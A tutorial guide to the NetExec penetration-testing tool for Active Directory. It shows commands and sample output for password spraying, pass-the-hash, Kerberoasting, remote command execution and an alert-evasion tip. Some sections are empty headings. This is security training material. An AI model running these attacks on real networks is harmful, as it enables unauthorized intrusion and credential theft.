NetExec: Complete Guide to Active Directory Assessment and Network Exploitation Using Kali Linux

1. Tool Introduction

NetExec (abbreviated NXC) is the actively maintained, community-driven successor/fork of CrackMapExec, created after the original CME project was archived. It preserves CrackMapExec’s core mission — large-scale enumeration, credential validation, and post-exploitation across Windows/AD networks — while adding a faster release cycle, expanded protocol support, a cleaner plugin/module architecture, and continued compatibility fixes for modern Windows Server versions. NetExec supports the same core protocols as CME (SMB, WinRM, SSH, LDAP, MSSQL, RDP, FTP, VNC, NFS) and adds ongoing community-contributed modules for newer attack techniques (e.g., Certipy/ADCS integration, Coercer-style relay triggers, and continued Kerberos/LDAP enhancements).

Because NetExec is a near drop-in replacement for CrackMapExec, most command syntax is identical or very close; where it differs, it is noted below.

2. How to Install

# On recent Kali releases, NetExec is available directly via apt:
sudo apt update
sudo apt install netexec -y

# Verify installation
netexec --version
nxc --version

Installing via pipx (recommended to get the latest release):

sudo apt install pipx -y
pipx install git+https://github.com/Pennyw0rth/NetExec
pipx ensurepath

Installing from source:

git clone https://github.com/Pennyw0rth/NetExec
cd NetExec
poetry install
poetry run nxc

3. Syntax

nxc <protocol> <target(s)> [options]
netexec <protocol> <target(s)> [options]

Where <protocol> is one of: smb, winrm, ssh, ldap, mssql, rdp, ftp, vnc, nfs, wmi.

4. Command-Line Options (Kali Linux)

Target & general options:

Authentication options:

SMB module options:

LDAP module options:

MSSQL module options:

5. Basic Usage (Expected Output in Bash)

$ nxc smb 10.10.10.0/24
SMB   10.10.10.5   445   DC01    [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:CORP) (signing:True) (SMBv1:False)
SMB   10.10.10.12  445   WKS02   [*] Windows 11.0 Build 22621 x64 (name:WKS02) (domain:CORP) (signing:False) (SMBv1:False)

6. Practical Examples with Output

Example 1 – Password spraying

$ nxc smb 10.10.10.0/24 -u users.txt -p 'Autumn2024!' --continue-on-success
SMB   10.10.10.12  445   WKS02   [+] CORP\jdoe:Autumn2024!

Example 2 – Pass-the-hash authentication

$ nxc smb 10.10.10.5 -u administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
SMB   10.10.10.5   445   DC01    [+] CORP\administrator (Pwn3d!)

Example 3 – Listing all available modules

$ nxc smb -L
LDAP MODULES:
  bloodhound
  ldap-checker
SMB MODULES:
  ms17-010
  spider_plus
  nanodump
  ...

Example 4 – Enumerating shares and spidering them

$ nxc smb 10.10.10.5 -u jdoe -p 'Autumn2024!' -M spider_plus
SMB   10.10.10.5   445   DC01    [+] Enumerated shares, spidering contents...
SPIDER_PLUS  10.10.10.5   445   DC01    [*] Found 214 files, results saved to /tmp/nxc_spider_plus/

Example 5 – BloodHound data collection via LDAP

$ nxc ldap 10.10.10.5 -u jdoe -p 'Autumn2024!' --bloodhound --collection All
LDAP  10.10.10.5   389   DC01    [+] Collected BloodHound data, saved to CORP_bloodhound.zip

Example 6 – Checking password policy

$ nxc smb 10.10.10.5 -u jdoe -p 'Autumn2024!' --pass-pol
SMB   10.10.10.5   445   DC01    Minimum password length: 8
SMB   10.10.10.5   445   DC01    Lockout threshold: 5

Example 7 – Kerberoasting

$ nxc ldap 10.10.10.5 -u jdoe -p 'Autumn2024!' --kerberoasting hashes.txt
LDAP  10.10.10.5   389   DC01    [+] Total of 4 accounts kerberoasted, saved to hashes.txt

Example 8 – Checking MS17-010 across a subnet

$ nxc smb 10.10.10.0/24 -M ms17-010
SMB   10.10.10.40  445   LEGACY02   MS17-010    VULNERABLE

Example 9 – Executing a remote command over WinRM

$ nxc winrm 10.10.10.12 -u jdoe -p 'Autumn2024!' -x "whoami"
WINRM   10.10.10.12  5985   WKS02   [+] Executed command via WinRM
WINRM   10.10.10.12  5985   WKS02   corp\jdoe

Example 10 – Testing MSSQL and executing xp_cmdshell

$ nxc mssql 10.10.10.50 -u sa -p 'Sql2024!' --xp-cmdshell "whoami"
MSSQL  10.10.10.50  1433   SQL01   [+] CORP\sa (Pwn3d!)
MSSQL  10.10.10.50  1433   SQL01   [+] Executed xp_cmdshell command
MSSQL  10.10.10.50  1433   SQL01   nt service\mssqlserver

7. Common Use Cases

• Continuing all the classic CrackMapExec use cases (credential spraying, pass-the-hash, share enumeration, command execution) with active upstream support for modern Windows Server versions.
• BloodHound data collection directly through the --bloodhound LDAP module, without needing a separate SharpHound run in many cases.
• Kerberoasting/AS-REP roasting as part of AD attack-path discovery.
• Wide protocol coverage (adding NFS and WMI support beyond classic CME) for mixed Windows/Linux environments.
• Ongoing red team and internal penetration test operations where an actively updated tool is required for compatibility with the newest Windows patches and defenses.

8. Automation with Bash

#!/bin/bash
# nxc_ad_recon.sh - Chain NetExec checks for a standard internal AD assessment

DC="10.10.10.5"
DOMAIN="corp.local"
USER="jdoe"
PASS="Autumn2024!"
OUTPUT_DIR="./nxc_results"
mkdir -p "$OUTPUT_DIR"

echo "[*] Host discovery..."
nxc smb "$DC/24" | tee "$OUTPUT_DIR/hosts.txt"

echo "[*] Password policy..."
nxc smb "$DC" -u "$USER" -p "$PASS" -d "$DOMAIN" --pass-pol | tee "$OUTPUT_DIR/passpol.txt"

echo "[*] Kerberoasting..."
nxc ldap "$DC" -u "$USER" -p "$PASS" -d "$DOMAIN" --kerberoasting "$OUTPUT_DIR/kerberoast.txt"

echo "[*] BloodHound collection..."
nxc ldap "$DC" -u "$USER" -p "$PASS" -d "$DOMAIN" --bloodhound --collection All

echo "[*] Done. Results under $OUTPUT_DIR"

#!/bin/bash
# nxc_spray_and_check.sh - Spray creds then check MS17-010 on any host that has SMB open

TARGET_RANGE="10.10.10.0/24"
USERLIST="users.txt"
PASSWORD="Autumn2024!"

nxc smb "$TARGET_RANGE" -u "$USERLIST" -p "$PASSWORD" --continue-on-success | tee spray_results.txt
nxc smb "$TARGET_RANGE" -M ms17-010 | tee ms17010_results.txt

9. Tips and Best Practices

• Prefer NetExec over CrackMapExec for new engagements — it receives regular updates, bug fixes, and compatibility patches that the archived CME project no longer gets.
• Use -L regularly to review the current module list, since new modules are added frequently by the community.
• Combine --bloodhound collection with the official BloodHound GUI/CE for attack-path visualization once data is gathered.
• Use --jitter when operating in detection-sensitive environments to reduce the chance of triggering rate-based alerting.
• Store credentials/hashes discovered mid-engagement in a password manager or engagement tracker, and re-run NetExec sweeps as new credentials are obtained (iterative lateral movement).
• Validate module-specific output paths (e.g., spider_plus output directory) so findings are properly captured for the final report.

10. Troubleshooting

11. References

• GitHub repository: https://github.com/Pennyw0rth/NetExec
• Official documentation/wiki: https://www.netexec.wiki
• Kali Linux tool page: https://www.kali.org/tools/netexec/